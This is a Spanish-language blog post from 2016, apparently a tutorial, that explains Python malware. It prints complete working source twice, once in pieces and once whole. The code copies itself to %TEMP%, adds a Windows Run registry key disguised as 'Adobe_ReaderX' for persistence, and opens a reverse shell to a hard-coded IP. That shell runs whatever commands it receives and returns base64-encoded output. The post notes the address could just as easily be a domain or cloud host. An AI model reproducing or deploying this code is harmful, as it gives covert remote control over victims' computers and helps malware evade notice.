miércoles, 16 de marzo de 2016

comprendiendo como funciona un malware en python

Una de las cosas más comunes que se encontrará en el malware es  que desean obtener la persistencia hacia la víctima. Hay un montón de maneras de lograr la persistencia en Windows, uno de los más comunes es para modificar la clave del Registro siguiente: "Software \ Microsoft \ Windows \ CurrentVersion \ Run". A continuación se muestra una captura de pantalla rápida del código Python para copiar el programa en el directorio% TEMP% y luego hacer una modificación del registro por lo que este código se ejecutará cuando un usuario inicia sesión en el ordenador:

import sys, base64, os, socket, subprocess

    from _winreg import *

    def autorun(tempdir, fileName, run):

    # ejecutable para copiar en %TEMP%:

        os.system('copy %s %s'%(fileName, tempdir))

    # Registro de Windows para las consultas de valores clave

    # Añade clave de ejecución automática para volver a codificar matriz

        key = OpenKey(HKEY_LOCAL_MACHINE, run)

        runkey =[]

        try:

            i = 0

            while True:

                subkey = EnumValue(key, i)

                runkey.append(subkey[0])

                i += 1

        except WindowsError:

            pass

    # Establecer clave de ejecución automática:

        if 'Adobe ReaderX' not in runkey:

            try:

                key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)

                SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")

                key.Close()

            except WindowsError:

                pass
 
Ahora que hemos copiado este archivo al directorio% TEMP%, y la configuración de la persistencia podemos ejecutar la siguiente parte del código, el shell inversa. Nos toca aprovechar una shell inversa en Python publicado por TrustedSec que hice una modificación - Base64 codificar el tráfico de la red:

def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
if __name__ == "__main__":
        main()
 Ahora, cuando este programa se ejecuta abrirá un shell inversa de vuelta al "atacante", que en este caso es una dirección IP no modificable en el guión, pero fácilmente podría ser de dominio, o tal vez algo en la nube de Amazon.
Aquí está el código completo:
import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# ejecutable para copiar en %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))
# Registro de Windows para las consultas de valores clave
# Añade clave de ejecución automática para volver a codificar matriz
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
            key.Close()
        except WindowsError:
            pass
def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
if __name__ == "__main__":
        main()

No hay comentarios.:

Publicar un comentario